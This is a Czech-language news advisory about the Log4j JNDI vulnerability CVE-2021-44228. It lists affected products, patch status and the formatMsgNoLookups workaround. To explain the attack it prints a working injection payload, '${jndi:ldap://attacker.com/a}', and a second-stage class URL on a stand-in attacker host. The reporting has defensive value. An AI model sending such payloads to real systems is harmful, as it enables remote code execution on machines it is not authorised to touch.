V Apache Log4j, populárním rámci pro správu logů v Java aplikacích, byla objevena kritická zranitelnost, která umožňuje provést libovolný kód při zápisu do logu speciálně formátované hodnoty ve tvaru „{jndi:URL}“. Útok může být proveden na Java aplikace, které zapisují do logu hodnoty získané z externích zdrojů, například při zobrazení problematických hodnot ve zprávách o chybách.
Je zaznamenáno, že problému jsou téměř všechny projekty, které používají takové rámce jako Apache Struts, Apache Solr, Apache Druid nebo Apache Flink, včetně Steam, Apple iCloud, klientů a serverů hry Minecraft. Očekává se, že zranitelnost může vést k vlně masových útoků na firemní aplikace, opakující historii kritických zranitelností v rámci Apache Struts, který je podle přibližných odhadů využíván ve webových aplikacích 65 % společností z žebříčku Fortune 100. Byly již zaznamenány pokusy o skenování sítě na zranitelné systémy.
Problém se zhoršuje tím, že již byl zveřejněn funkční exploit, ale opravy pro stabilní větve zatím nebyly formulovány. CVE identifikátor zatím nebyl přidělen. Oprava byla zahrnuta pouze do testovací větve log4j-2.15.0-rc1. Jako obcházející opatření k zablokování zranitelnosti se doporučuje nastavit parametr log4j2.formatMsgNoLookups na hodnotu true.
Problém byl způsoben tím, že log4j podporuje zpracování speciálních masek „{}“ ve výstupních logových řetězcích, ve kterých mohly být prováděny dotazy JNDI (Java Naming and Directory Interface). Útok spočívá v předání řetězce s substitucí „${jndi:ldap://attacker.com/a}“, při zpracování kterého log4j odešle na server attacker.com LDAP dotaz na cestu k Java třídě. Vrácený serverem útokující cesta (například http://second-stage.attacker.com/Exploit.class) bude stažena a provedena v kontextu aktuálního procesu, což útočníkovi umožní dosáhnout provedení libovolného kódu v systému s právy aktuální aplikace.
Dodatek 1: Zranitelnosti byl přidělen identifikátor CVE-2021-44228.
Dodatek 2: Byla zjištěna cesta k obcházení ochrany přidané vydáním log4j-2.15.0-rc1. Byla navržena nová aktualizace log4j-2.15.0-rc2 s úplnější ochranou před zranitelností. V kódu se vyznačuje změna související s absencí havarijního ukončení v případě použití nesprávně formátovaného JNDI URL.
Zdroj: opennet.ru
